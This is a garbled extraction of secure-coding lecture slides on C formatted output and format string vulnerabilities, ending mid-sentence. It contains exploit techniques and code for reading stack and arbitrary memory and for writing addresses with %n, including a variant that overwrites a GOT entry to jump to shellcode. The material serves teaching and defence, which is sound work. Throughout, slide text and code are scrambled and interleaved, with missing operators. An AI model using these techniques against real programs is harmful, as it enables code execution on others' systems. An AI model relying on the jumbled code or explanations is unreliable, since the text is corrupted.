Formatted Output Secure Coding in C and C++ Robert C. Seacord

Formatted Output Secure Coding in C and C++ Robert C. Seacord

Formatted Output Secure Coding in C and C++ Formatted Output Formatted output functions consist of a format string and a variable number of arguments. Format string provides a set of instructions that are interpreted by the formatted output function. By controlling the content of the format string a user can control execution of the formatted output function. Because all formatted output functions have capabilities that allow a user to violate a security policy, a vulnerability exists. Formatted Output Formatted variadic

output functions are They accept a variable number of arguments. C does not implement variadic functions securely. Sample Vulnerable Program 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. #include #include

the usage string is built by substituting the %s in the format string with the runtime value of pname. void usage(char *pname) { char usageStr[1024]; snprintf(usageStr, 1024,"Usage: %s \n", pname); printf(usageStr); } int main(int argc, char * argv[]) { if (argc < 2) { usage(argv[0]); exit(-1); } } printf() is called to output the usage information the name of the program entered by the user (argv[0]) is passed to usage() Variadic Functions Variadic functions

Two implementations: UNIX System V ANSI C approach. Both require a contract developer and user. between ANSI C Standard Arguments ANSI C standard stdargs variadic functions are declared using a partial parameter list followed by the ellipsis notation. A variadic function is invoked simply by specifying the desired number of arguments in the function call

E.g. average(3, 5, 8, -1). ANSI C example 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. int average(int first, ...) { int count = 0, sum = 0, i = first; va_list marker; va_start(marker, first); while (i != -1) { sum += i; count++; i = va_arg(marker, int); } va_end(marker); return(count ? (sum / count) : 0); } ANSI C

The variadic average() function accepts a single fixed argument followed by a variable argument list. No type checking is performed on the arguments in the variable list. One or more fixed parameters precedes the ellipsis notation, which must be the last token in the parameter list. ANSI C ANSI C macros variadic functions for implementing va_start() va_arg(),

va_end() Defined in the stdarg.h include file All operate on the va_list data type The argument list is declared using the va_list type. ANSI C example 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. int average(int first, ...) { int count = 0, sum = 0, i = first; va_list marker; va_start(marker, first); while (i != -1) { sum += i; count++; i = va_arg(marker, int); } va_end(marker); return(count ? (sum / count) : 0); }

Sample Definition of Variable Argument Macros - 1 The marker variable is declared as a va_list type. 3. #define _ADDRESSOF(v) (&(v)) #define _INTSIZEOF(n) \ ((sizeof(n)+sizeof(int)-1) & ~(sizeof(int)-1)) 4. typedef char *va_list; 1. 2. 5. 6. 7. The va_start() macro initializes the argument list #define va_start(ap,v) must be

(ap=(va_list)_ADDRESSOF(v)+_INTSIZEOF(v)) and called before #define va_arg(ap,t) (*(t *) marker can be used. ((ap+=_INTSIZEOF(t))-_INTSIZEOF(t))) #define va_end(ap) (ap = (va_list)0) Sample 1. 2. 3. 4. 5. 6. 7. #define _ADDRESSOF(v) (&(v)) #define _INTSIZEOF(n) \ ((sizeof(n)+sizeof(int)-1) & ~(sizeof(int)-1)) va_start() is called on line 4 and typedef char *va_list; passed marker and the last fixed #define va_start(ap,v) (ap=(va_list)_ADDRESSOF(v)

argument (first).. +_INTSIZEOF(v)) #define va_arg(ap,t) (*(t *)((ap+=_INTSIZEOF(t))_INTSIZEOF(t))) #define va_end(ap) (ap = (va_list)0) Sample Definition of Variable Argument Macros - 3 The va_arg() macro requires an initialized va_list and the type of the next argument. The macro returns the next argument and increments the argument pointer based on the type size. The va_arg() macro is invoked on line 8 of the average() function to get the second through last arguments. Finally, va_end() is called before the program returns to cleanup. Sample Definition of Variable Argument Macros - 4

The termination condition for the argument list is a contract between the programmers who implement and use the function. The average() function, termination variable argument list is indicated argument whose value is -1. Without this argument, the average() function will continue to process the next argument indefinitely until a -1 value is encountered or an exception occurs. of the by an Type va_list as a Character Pointer - 1 Arg 2 Arg 1 00 00 00 03 00 00 00 05 00 00 00 08 Last fixed argument ( v) Arg 3 FF FF FF FF

Argument Pointer (ap) The figure illustrates how the arguments are sequentially ordered on the stack when average(3,5,8,-1) function is called on these systems. 0x00000000 Type va_list as a Character Pointer - 2 The character pointer is initialized by va_start() to reference the parameters following the last fixed argument. The va_start() macro adds the size of the argument to the address of the last fixed parameter. When va_start() returns, va_list points to the address of the first optional argument. Type va_list as a Character Pointer - 3

Not all systems define character pointer. Some systems define va_list as an array of pointers, while other systems pass arguments in registers. When arguments are passed in registers, va_start() may have to allocate memory to store the arguments. The va_end() memory. macro is the used va_list to

type free as a allocated __cdecl Parameters are reverse order. pushed onto the stack in The __cdecl calling convention requires that each function call include stack cleanup code.

Supports the use of variadic functions because the stack is cleaned up by the caller. This is a requirement when supporting variadic functions because the compiler cannot determine how many arguments are being passed without examining the actual call. __stdcall The __stdcall calling convention is used to call Win32 API functions. This calling convention cannot be used with variadic functions because the called function cleans the stack. Compilers cannot determine how many arguments will be passed to the function when generating code to pop arguments from the stack __fastcall The __fastcall calling convention specifies that arguments to functions are to be passed in

registers when possible. The first two doublewords or smaller arguments are passed in ecx and edx registers. All other arguments are passed right to left. The called function pops the arguments from the stack. Implementation of average() function using varargs - 1 1. int average(va_alist) va_dcl { 2. int i, count, sum; 3. va_list marker; 4.

5. 6. 7. 8. 9.} The UNIX System V macros, defined in varargs.h, operate differently from ANSI standard arguments. va_start(marker); for (sum = count = 0; (i = va_arg(marker, int)) != -1; count++) sum += i; va_end(marker); return(sum ? (sum / count) : 0); Agenda

Formatted Output Variadic Functions Formatted Output Functions Exploiting Formatted Output Functions Stack Randomization Mitigation Strategies Notable Vulnerabilities Summary Formatted Output Functions

- 1 fprintf() writes output to a stream based on the contents of the format string. The stream, format string, and a variable list of arguments are provided as arguments. printf() is equivalent to fprintf() except that printf() assumes that the output stream is stdout. sprintf() is equivalent to fprintf() except that the output is written into an array rather than to a stream. Formatted Output Functions - 2

snprintf() is equivalent to sprintf() except that the maximum number of characters n to write is specified. If n is non-zero, output characters beyond n-1st are discarded rather than written to the array, and a null character is added at the end of the characters written into the array. Equivalent Functions vfprintf() fprintf() vprintf() printf() vsprintf() sprintf()

are useful when the argument These functions list is determined at runtime vsnprintf() snprintf() syslog(). syslog(). Formatted output function not defined by the C99 specification but included in SUSv2. It generates a log message to the system logger (syslogd) and accepts a priority argument, a format specification, and any arguments required by the format. The syslog() function:

first appeared in BSD 4.2, supported by Linux and UNIX, supported by Windows systems. Format Strings -1 Format strings are character sequences consisting of ordinary characters (excluding %) and conversion specifications. Ordinary characters are copied unchanged to the output stream. Conversion specifications

convert arguments according to a corresponding conversion specifier, and write the results to the output stream. Conversion specifications begin with a percent sign (%) and are interpreted from left to right. Format Strings -2 If there are more arguments than conversion specifications, the extra arguments are ignored. If there are not enough arguments for all the conversion specifications, the results are undefined. A conversion specification consists of: optional field:

required fields: flags, width, precision, and length-modifier, conversion-specifier in the following form: %[flags] [width] [.precision] [{length-modifier}] conversion-specifier. Format Strings -3 Example %-10.8ld: - is a flag, 10 is the width, 8 is the precision, the letter l is a length modifier, d is the conversion specifier.

This conversion specification prints a long int argument in decimal notation, with a minimum of 8 digits left justified in a field at least 10 characters wide. The simplest conversion specification contains only % and a conversion specifier (for example, %s). Conversion Specifier -1 Indicates the type of conversion to be applied. Is the only required format field, and it appears after any optional format fields. Flags justify output and print signs, blanks, decimal points, and octal and hexadecimal prefixes.

More than one flag directive may appear in a format specification. Width Specifies the minimum number of characters to output. If the number of characters output is less than the specified width, the width is padded with blank characters. A small width does not cause field truncation. If the result of a conversion is wider than the field width, the field expands to contain the conversion result. If the width specification is an asterisk (*), an int argument from the argument list supplies the value. In the argument list, the width argument must precede the value being formatted. Precision

Precision specifies the number of characters to be printed, the number of decimal places, or the number of significant digits. The precision field can cause truncation of the output or rounding of a floating-point value. If the precision field is an asterisk (*), the value is supplied by an int argument from the argument list. In the argument list, the precision argument must precede the value being formatted. Limits Formatted output functions in GCC version 3.2.2 handle width and precision fields up to INT_MAX (2,147,483,647 on IA-32). Formatted output functions also keep and return a count of characters outputted as an int.

This count continues to increment even if it exceeds INT_MAX, which results in a signed integer overflow and a signed negative number. If interpreted as an unsigned number, the count is accurate until an unsigned overflow occurs. Visual C++ .NET Formatted output functions in Visual C+ + .NET share a common definition of format string specifications. Format strings are interpreted by a common function called _output(). The _output() function parses the format string and determines the appropriate action based on the character read from the format string and the current state. Limits

The _output() function stores the width as a signed integer. Widths of up to INT_MAX are supported. The _output() function does not detect signed integer overflow. Values exceeding INT_MAX can cause unexpected results. The _output() function stores the precision as a signed integer but uses a conversion buffer of 512 characters. The main loop of _output() exits if this value becomes negative, which prevents values in the INT_MAX+1 to UINT_MAX range. Length Modifier Visual C++ does not support the C99s h, hh, l, and ll length modifiers. It provides an I32 length modifier that

behaves the same as the l length modifier and an I64 length modifier that approximates the ll length modifier. I64 prints the full value of a long long int but only writes 32 bits when used with the n conversion specifier. Agenda Formatted Output Variadic Functions Formatted Output Functions Exploiting Formatted Output Functions Stack Randomization

Mitigation Strategies Notable Vulnerabilities Summary Exploiting Formatted Output Functions Formatted output became important to the security community when a format string vulnerability was discovered in WU-FTP. Format string vulnerabilities can occur when a format string is supplied by a user or other untrusted source. Buffer overflows can occur when a formatted output routine writes beyond the boundaries of a data structure. Buffer Overflow

Formatted output functions that write to a character array assume arbitrarily long buffers, which makes them susceptible to buffer overflows. char buffer[512]; 2. sprintf(buffer, "Wrong command: %s\n", user) buffer overflow vulnerability using sprintf() as it substitutes the %s conversion specifier with a usersupplied string. Any string longer than 495 bytes results in an out-ofbounds write (512 bytes - 16 character bytes - 1 null byte) Stretchable buffer -1

The sprintf() call cannot be directly exploited because the %.400s conversion specifier outbuf[512]; limits the number of buffer[512]; bytes written to 400. 1. char 2. char 3. sprintf( buffer, "ERR Wrong command: %.400s", user ); 4. sprintf(outbuf, buffer); Stretchable buffer -2 1. char outbuf[512];

2. char buffer[512]; This same call can 3. sprintf( be used to indirectly attack the sprintf() buffer, call providing the "ERR Wrong command: %.400s", following value for user: user ); %497d\x3c\xd3\xff\xbf 4. sprintf(outbuf, buffer); Stretchable buffer -3 1. char outbuf[512]; The sprintf() call on 2. char buffer[512]; line 3 inserts this string into buffer.

3. sprintf( buffer, "ERR Wrong command: %.400s", user ); %497d\x3c\xd3\xff\xbf 4. sprintf(outbuf, buffer); Stretchable buffer -4 1. char outbuf[512]; 2. char buffer[512]; 3. sprintf( The buffer array is then passed to the buffer, second call to sprintf() the format string "ERR Wrong command:as%.400s", argument. user );

%497d\x3c\xd3\xff\xbf 4. sprintf(outbuf, buffer); Stretchable buffer - 5 The %497d format instructs sprintf() to read an imaginary argument from the stack and write 497 characters to buffer. The total number of characters written now exceeds the length of outbuf by four bytes. The user input can be manipulated to overwrite the return address with the address of the exploit code supplied in the malicious format string argument (0xbfffd33c). When the current function exits, control is transferred to the exploit code in the same manner as a stack smashing attack. Stretchable buffer

-6 1. char outbuf[512]; 2. char buffer[512]; The programming flaw 3. sprintf( is that sprintf() is being used inappropriately buffer, on line 4 as a string function when "ERR Wrong command:copy %.400s", strcpy() or strncpy() user should be used instead ); 4. sprintf(outbuf, buffer); Stretchable buffer

-6 1. char outbuf[512]; 2. char buffer[512]; 3. sprintf( buffer, "ERR Wrong command: %.400s", user ); Replacing this call to sprintf() with a call to eliminates the vulnerability 4. strcpy() sprintf(outbuf, buffer); Output Streams Formatted output functions that write to a stream instead of a file (such as printf()) are also susceptible to format string vulnerabilities: 1. int func(char *user) { 2.

printf(user); 3. } If the user argument can be controlled by a user, this program can be exploited to crash the program, view the contents of the stack, view memory content, or overwrite memory. Crashing a Program -1 Format string vulnerabilities are discovered when a program crashes. For most UNIX systems, an invalid pointer access causes a SIGSEGV signal to the process. Unless caught and handled, the program abnormally terminate and dump core.

Similarly, an attempt to read an unmapped address in Windows results in a general protection fault followed by abnormal program termination. will Crashing a Program -2 An invalid pointer access or unmapped address read can be triggered by calling a formatted output function: printf("%s%s%s%s%s%s%s%s%s%s%s%s"); The %s conversion specifier displays memory at an address specified in the corresponding argument on the execution stack. Because no string arguments are supplied in this example, printf() reads arbitrary memory locations from the stack until the format string is exhausted or

an invalid pointer or unmapped address is encountered. Viewing Stack Content -1 Attackers can also exploit formatted output functions to examine the contents of char format [32]; strcpy(format, "%08x.%08x.%08x.%08x"); 0x00000000 memory. Arguments are printf(format, 1, 2, 3); 1. 2. 3. 4. 5. 6. push push push push

call add 3 2 1 offset format _printf esp,10h pushed onto the stack in reverse order. the arguments Disassembled printf() call in memory appear in the same order as in the printf() call Viewing the Contents of the Stack - 2 The address of the format string Initial argument pointer Final argument pointer 0x00000000 0xe0f84201 appears in Memory:

e0f84201 01000000 02000000 03000000 25303878 2e253038 memory followed by the argument values 1, 2, and 3 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 Viewing the Contents of the Stack - 3 Initial argument pointer Final argument pointer Memory: e0f84201 01000000 02000000 03000000 25303878 2e253038 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 The memory immediately following the arguments contains 0x00000000 the automatic variables for the calling function, including the contents of the format character array 0x2e253038

Viewing the Contents of the Stack - 4 Initial argument pointer Final argument pointer Memory: e0f84201 01000000 02000000 03000000 25303878 2e253038 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 The format string %08x. %08x.%08x.%08 instructs printf() to 0x00000000 retrieve four arguments from the stack and display them as eightdigit padded hexadecimal numbers Viewing the Contents of the Stack - 5 Initial argument pointer Final argument pointer Memory: e0f84201 01000000 02000000 03000000 25303878 2e253038

Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 As each argument is used by the format specification, the 0x00000000 argument pointer is increased by the length of the argument. Viewing the Contents of the Stack - 6 Initial argument pointer Final argument pointer 0x00000000 Memory: e0f84201 01000000 02000000 03000000 25303878 2e253038 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 Each %08x in the format string reads a value it

interprets as an int from the location identified by the argument pointer. Viewing the Contents of the Stack - 7 Initial argument pointer Final argument pointer 0x00000000 Memory: e0f84201 01000000 02000000 03000000 25303878 2e253038 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 The values output by each format string are shown below the format string. Viewing the Contents of the Stack - 8 Initial argument pointer Final argument pointer 0x00000000 Memory:

e0f84201 01000000 02000000 03000000 25303878 2e253038 Format string: % 0 8 x . % 0 8 x . % 0 8 x . % 0 8 x Output: 00000001.00000002.00000003.25303878 The fourth integer contains the first four bytes of the format stringthe ASCII codes for %08x. Viewing the Contents of the Stack - 9 Formatted output functions including printf() use an internal variable to identify the location of the next argument. The contents of the stack or the stack pointer are not modified, so execution continues as expected when control returns to the calling program. The formatted output function will continue displaying the contents of memory in this fashion until a null byte is encountered in the format

string. Viewing the Contents of the Stack - 10 After displaying the remaining automatic variables for the currently executing function, printf() displays the stack frame for the currently executing function As printf() moves sequentially through stack memory, it displays the same information for the calling function. The function that called that function, and so on, up through the call stack. Viewing the Contents of the Stack - 11 Using this technique, it is possible to reconstruct large parts of the stack memory.

An attacker can use this data to determine offsets and other information about the program to further exploit this or other vulnerabilities. Viewing Memory Content -1 The %s conversion specifier displays memory at the address specified by the argument pointer as an ASCII string until a null byte is encountered. If an attacker can manipulate the argument pointer to reference a particular address, the %s conversion specifier will output memory at that location.

The argument pointer can be advanced memory using the %x conversion specifier. in Viewing Memory Content -2 The distance it can be moved depends on the size of the format string. An attacker can insert an address in an automatic variable in the calling function. If the format string is stored as an automatic variable, the address can be inserted at the beginning of the string. An attacker can create a format string to view memory at a specified address: address advance-argptr %s Viewing Memory at a Specific Location - 1

Memory: Initial argument pointer address advance-argptr %s \xdc\xf5\x42\x01%x%x%x%s 0x00000000 Final argument pointer % x % x The e0f84201 01000000 02000000 03000000 dcf54201 25782578 \xdc - written to stdout \xf5 - written to stdout \x42 - written to stdout \x01 - written to stdout %x - advances argument pointer %x - advances argument pointer %x - advances argument pointer %s - outputs string at address specified in next argument series of three %x conversion specifiers advance the argument pointer twelve bytes to the start of the format string Viewing Memory at a Specific

Location - 2 Memory: Initial argument pointer address advance-argptr %s \xdc\xf5\x42\x01%x%x%x%s 0x00000000 Final argument pointer % x % x e0f84201 01000000 02000000 03000000 dcf54201 25782578 \xdc - written to stdout \xf5 - written to stdout \x42 - written to stdout \x01 - written to stdout %x - advances argument pointer %x - advances argument pointer %x - advances argument pointer %s - outputs string at address specified in next argument The %s conversion specifier displays memory at the address supplied at the beginning of the format string. Viewing Memory Content -

3 printf() displays memory from 0x0142f5dc until a \0 byte is reached. The entire address space can be mapped by advancing the address between calls to printf(). Viewing memory at an arbitrary address can help an attacker develop other exploits, such as executing arbitrary code on a compromised machine. Overwriting Memory -1 Formatted output functions are dangerous because

most programmers are unaware of their capabilities. On platforms where integers and addresses are the same size (such as the IA-32), the ability to write an integer to an arbitrary address can be used to execute arbitrary code on a compromised system. The %n conversion specifier was created to help align formatted output strings. It writes the number of characters successfully output to an integer address provided as an argument. Overwriting Memory Example, snippet: int i; printf("hello%n\n", (int *)&i);

after executing the -2 following code The variable i is assigned the value 5 because five characters (h-e-l-l-o) are written until the %n conversion specifier is encountered. Using the %n conversion specifier, an attacker can write a small integer value to an address. To exploit this security flaw an attacker would need to write an arbitrary value to an arbitrary address. Overwriting Memory -3

The call: printf("\xdc\xf5\x42\x01%08x.%08x.%08x%n); Writes an integer value corresponding to the number of characters output to the address 0x0142f5dc. The value written (28) is equal to the eightcharacter-wide hex fields (times three) plus the four address bytes. An attacker can overwrite the address with the address of some shellcode. Overwriting Memory -4 An attacker can control the number of characters written using a conversion specification with a specified width or precision. Example:

int i; printf ("%10u%n", 1, &i); /* i = 10 */ printf ("%100u%n", 1, &i); /* i = 100 */ Each of the two format strings takes two arguments: Integer value used by the %u conversion specifier. The number of characters output. Overwriting Memory On most complex instruction set computer (CISC) architectures, it is possible to write to an arbitrary address as follows: -5 Write four bytes.

Increment the address. Write an additional four bytes. This technique has a side effect of overwriting the three bytes following the targeted memory Writing an Address in Four Stages - 1 unsigned char foo[4]; memset(foo, \x41, 4); printf( "%16u%n", 1, &foo[0]); printf( "%32u%n", 1, &foo[1]); printf( "%64u%n", 1, &foo[2]); printf( "%128u%n", 1, &foo[3]); unsigned char bar[4]; memset(bar, \x41, 4); foo bar 41 41 41 41 4 1 4 1 4 1 overwrite 41

10 00 00 00 41 41 41 10 20 00 00 00 41 41 10 20 40 00 00 00 41 41 10 20 40 80 00 00 00 41 the memory in foo 41 with the address 0x00000000 41 0x80402010 Writing an Address in Four Stages - 2 Each time the address is incremented, a trailing value remains in the low-memory byte.

This byte is the low-order byte in a little endian architecture and the high-order byte in a big endian architecture. This process can be used to write a large integer value (an address) using a sequence of small (< 255) integer values. The process can also be reversedwriting from higher memory to lower memory while decrementing the address. Writing an Address in Four Stages - 3 The formatted output calls in Figure perform only a single write per format string. Multiple writes can be performed in a single call to a formatted output function as follows:

printf ("%16u%n%16u%n%32u%n%64u%n", 1, (int *) &foo[0], 1, (int *) &foo[1], 1, (int *) &foo[2], 1, (int *) &foo[3]) Writing an Address in Four Stages - 4 The only difference in combining multiple writes into a single format string is that the counter continues to increment with each character output. printf ("%16u%n%16u%n%32u%n%64u%n", The first %16u%n sequence writes the value 16 to the specified address, but the second %16u %n sequence writes 32 bytes because the counter has not been reset. Exploit Code to Write an Address - 1

1. static unsigned int already_written, width_field; 2. static unsigned int write_byte; 3. static char buffer[256]; 4. already_written = 506;

// first byte 5. write_byte = 0x3C8; 6. already_written %= 0x100; 7. width_field = (write_byte already_written) % 0x100; 8. if (width_field < 10) width_field += 0x100; 9. sprintf(buffer, "%%%du%%n", width_field); 10. strcat(format, buffer); // second byte 11. write_byte = 0x3fA; 12. already_written += width_field; 13. already_written %= 0x100; 14. width_field = (write_byte already_written) % 0x100; 15. if (width_field < 10) width_field += 0x100;

16. sprintf(buffer, "%%%du%%n", width_field); 17. strcat(format, buffer); // third byte 18. write_byte = 0x442; 19. already_written += width_field; 20. already_written %= 0x100; 21. width_field = (write_byte already_written) % 0x100; 22. if (width_field < 10) width_field += 0x100; 23. sprintf(buffer, "%%%du%%n", width_field); 24. strcat(format, buffer); // fourth byte 25. write_byte = 0x501; 26. already_written += width_field; 27. already_written %= 0x100;

28. width_field = (write_byte already_written) % 0x100; 29. if (width_field < 10) width_field += 0x100; 30. sprintf(buffer, "%%%du%%n", width_field); 31. strcat(format, buffer); Exploit Code to Write an Address - 2 The code uses three unsigned integers: already_written, width_field, and write_byte. The write_byte variable contains the value of the next byte to be written. The already_written variable counts the number of characters output. The width_field stores the width field for

conversion specification required to produce required value for %n. the the Exploit Code to Write an Address - 3 The required width is determined by subtracting the number of characters already output from the value of the byte to write modulo 0x100. The difference is the number of output characters required to increase the value of the output counter from its current value to the desired value. After each write, the value of the width field from the previous conversion specification is added to the bytes already written. Overwriting Memory

-1 1. unsigned char exploit[1024] = "\x90\x90\x90...\x90"; 2. char format[1024]; 3. 4. 5. 6. 7. 8. 9. 10. strcpy(format, strcat(format, strcat(format, strcat(format, strcat(format,

strcat(format, strcat(format, strcat(format, "\xaa\xaa\xaa\xaa"); "\xdc\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdd\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xde\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdf\xf5\x42\x01"); 11. for (i=0; i < 61; i++) { 12. strcat(format, "%x"); 13. } /* code to write address goes here */ 14. printf(format) four sets of dummy integer/address pairs instructions to advance the argument pointer instructions to overwrite an address.

Overwriting Memory -2 1. unsigned char exploit[1024] = "\x90\x90\x90...\x90"; 2. char format[1024]; 3. 4. 5. 6. 7. 8. 9. 10.

strcpy(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, "\xaa\xaa\xaa\xaa"); "\xdc\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdd\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xde\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdf\xf5\x42\x01"); 11. for (i=0; i < 61; i++) { 12. strcat(format, "%x"); 13. } /* code to write address goes here */ 14. printf(format)

Lines 3, 5, 7, and 9 insert dummy integer arguments in the format string corresponding to the %u conversion specifications. Overwriting Memory -3 1. unsigned char exploit[1024] = "\x90\x90\x90...\x90"; 2. char format[1024]; 3.

4. 5. 6. 7. 8. 9. 10. strcpy(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, "\xaa\xaa\xaa\xaa"); "\xdc\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdd\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xde\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdf\xf5\x42\x01"); 11. for (i=0; i < 61; i++) { 12. strcat(format, "%x"); 13. }

/* code to write address goes here */ 14. printf(format) Lines 4, 6, 8, and 10 specify the sequence of values required to overwrite the address at 0x0142f5dc with the address of the exploit code. Overwriting Memory

-4 1. unsigned char exploit[1024] = "\x90\x90\x90...\x90"; 2. char format[1024]; 3. 4. 5. 6. 7. 8. 9. 10. strcpy(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, strcat(format, "\xaa\xaa\xaa\xaa"); "\xdc\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdd\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xde\xf5\x42\x01"); "\xaa\xaa\xaa\xaa"); "\xdf\xf5\x42\x01");

11. for (i=0; i < 61; i++) { 12. strcat(format, "%x"); 13. } /* code to write address goes here */ 14. printf(format) Lines 11-13 write the appropriate number of %x conversion specifications to advance the argument pointer to the start of the format string and the first dummy integer/address pair. Internationalization Because of internationalization, format strings and message text are often moved into external catalogs or files that the program opens at runtime.

An attacker can alter the values of the formats and strings in the program by modifying the contents of these files. These files should have file protections that prevent their contents from being altered. Set search paths, environment variables, or logical names to limit access. Stack Randomization Under Linux the stack starts at 0xC0000000 and grows towards low memory. Few Linux stack addresses contain null bytes, which makes them easier to insert into a format string. Many Linux variants include some form of stack randomization.

It difficult to predict the location of information on the stack, including the location of return addresses and automatic variables, by inserting random gaps into the stack. Agenda Formatted Output Variadic Functions Formatted Output Functions Exploiting Formatted Output Functions Stack Randomization Mitigation Strategies

Notable Vulnerabilities Summary Thwarting Stack Randomization If these values can be identified, it becomes possible to exploit a format string vulnerability on a system protected by stack randomization: address to overwrite, address of the shell code, distance between the argument pointer and the start of the format string, number of bytes already written by the formatted output function before the first %u conversion specification. Address to Overwrite

It is possible to overwrite the GOT entry for a function or other address to which control is transferred during normal execution of the program. The advantage of overwriting a GOT entry is its independence from system variables such as the stack and heap. Address of the Shellcode A Windows-based exploit assumes that the shellcode is inserted into an automatic variable on the stack. This address would be difficult to find on a system that has implemented stack randomization. The shellcode could also be inserted into a

variable in the data segment or heap, making it easier to find. Distance An attacker needs to find the distance between the argument pointer and the start of the format string on the stack. An attacker needs to determine the distance between the argument pointer to the formatted output function and the start of the format string. The relative distance between them remains constant. It is easy to calculate the distance from the argument pointer to the start of the format string and insert the required number of %x format conversions. Writing Addresses in Two Words The Windows-based exploit wrote the address of the shellcode a byte at a

time in four writes, incrementing the address between calls. If this is impossible because of alignment requirements or other reasons, it may still be possible to write the address a word at a time or even all at once. Linux Exploit Variant 1. #include 2. #include 3. int main(int argc, char * argv[]) { 4. static unsigned char shellcode[1024] = "\x90\x09\x09\x09\x09\x09/bin/sh";

5. 6. int i; unsigned char format_str[1024]; 7. 8. 9. 10. strcpy(format_str,

strcat(format_str, strcat(format_str, strcat(format_str, "\xaa\xaa\xaa\xaa"); "\xb4\x9b\x04\x08"); "\xcc\xcc\xcc\xcc"); "\xb6\x9b\x04\x08"); 11. 12. 13. for (i=0; i < 3; i++) { strcat(format_str, "%x"); } /* code to write address goes here */ 14. printf(format_str); 15. exit(0); 16. } -1 This exploit inserts the shellcode in the data segment, using a variable declared as static

Linux Exploit Variant 1. #include 2. #include 3. int main(int argc, char * argv[]) { 4. static unsigned char shellcode[1024] = "\x90\x09\x09\x09\x09\x09/bin/sh"; 5. 6. int i; unsigned char format_str[1024]; -2

7. 8. 9. 10. strcpy(format_str, strcat(format_str, strcat(format_str, strcat(format_str, "\xaa\xaa\xaa\xaa"); "\xb4\x9b\x04\x08"); "\xcc\xcc\xcc\xcc"); "\xb6\x9b\x04\x08"); 11. 12.

13. for (i=0; i < 3; i++) { strcat(format_str, "%x"); } /* code to write address goes here */ 14. printf(format_str); 15. exit(0); 16. } The address of GOT entry for exit() function concatenated to format string the the is the Linux Exploit Variant 1. #include 2. #include

3. int main(int argc, char * argv[]) { 4. static unsigned char shellcode[1024] = "\x90\x09\x09\x09\x09\x09/bin/sh"; 5. 6. int i; unsigned char format_str[1024]; -3

7. 8. 9. 10. strcpy(format_str, strcat(format_str, strcat(format_str, strcat(format_str, "\xaa\xaa\xaa\xaa"); "\xb4\x9b\x04\x08"); "\xcc\xcc\xcc\xcc"); "\xb6\x9b\x04\x08"); 11. 12. 13. for (i=0; i < 3; i++) { strcat(format_str, "%x"); } /* code to write address goes here */ 14.

printf(format_str); 15. exit(0); 16. } The same address + 2 is concatenated on line 10 Linux Exploit Variant 1. #include 2. #include 3. int main(int argc, char * argv[]) { 4. static unsigned char shellcode[1024] = "\x90\x09\x09\x09\x09\x09/bin/sh"; 5. 6. int i; unsigned char format_str[1024];

-4 7. 8. 9. 10. strcpy(format_str, strcat(format_str, strcat(format_str,

strcat(format_str, "\xaa\xaa\xaa\xaa"); "\xb4\x9b\x04\x08"); "\xcc\xcc\xcc\xcc"); "\xb6\x9b\x04\x08"); 11. 12. 13. for (i=0; i < 3; i++) { strcat(format_str, "%x"); } Control transferred /* code to write address goes is here */ 14. printf(format_str); 15. exit(0); 16. } to the shellcode when the program terminates on the call to exit() Linux Exploit Variant:

Overwriting Memory 1. static unsigned int already_written, width_field; 2. static unsigned int write_word; 3. static char convert_spec[256]; 4. already_written = 28; // first word 5. write_word = 0x9020; 6. already_written %= 0x10000;

7. 8. 9. 10. width_field = (write_word-already_written) % 0x10000; if (width_field < 10) width_field += 0x10000; sprintf(convert_spec, "%%%du%%n", width_field); strcat(format_str, convert_spec); // last word 11. already_written += width_field; 12. write_word = 0x0804; 13. already_written %= 0x10000; 14. 15. 16. 17. width_field = (write_word-already_written) % 0x10000; if (width_field < 10) width_field += 0x10000; sprintf(convert_spec, "%%%du%%n", width_field); strcat(format_str, convert_spec); Direct Argument Access

-1 The Single UNIX Specification [IEEE 04] allows conversions to be applied to the nth argument after the format in the argument list, rather than to the next unused argument. The conversion-specifier character % is replaced by the sequence: %n$, where n is a decimal integer in the [1, {NL_ARGMAX}] range that specifies the position of the argument. Direct Argument Access -2 The format can contain either argument conversion but not both specifications : Numbered:

%n$ and *m$ Unnumbered: % and * The exception is that %% can be mixed with the %n$ form. Mixing numbered and unnumbered argument specifications in a format string has undefined results. Direct Argument Access -3 When

numbered argument specifications are used, specifying the nth argument requires that all leading arguments, from the first to nth-1, are specified in the format string. In format strings containing the %n$ form of conversion specification, numbered arguments in the argument list can be referenced from the format string as many times as required. Direct Parameter Access -1 The first conversion specification,%4$5u, takes the 4th argument (the constant 5) and formats the 1. int i, j, k = 0; output as an unsigned decimal integer with a width of 5. 2. printf(

"%4$5u%3$n%5$5u%2$n%6$5u%1$n\n", &k, &j, &i, 5, 6, 7 ); 3. printf("i = %d, j = %d, k = %d\n", i, j, k); Output: 5 6 7 i = 5, j = 10, k = 15 Direct Parameter Access -2 The second conversion specification, %3$n, 1. int i, j, k = 0;writes the current output counter (5) to the

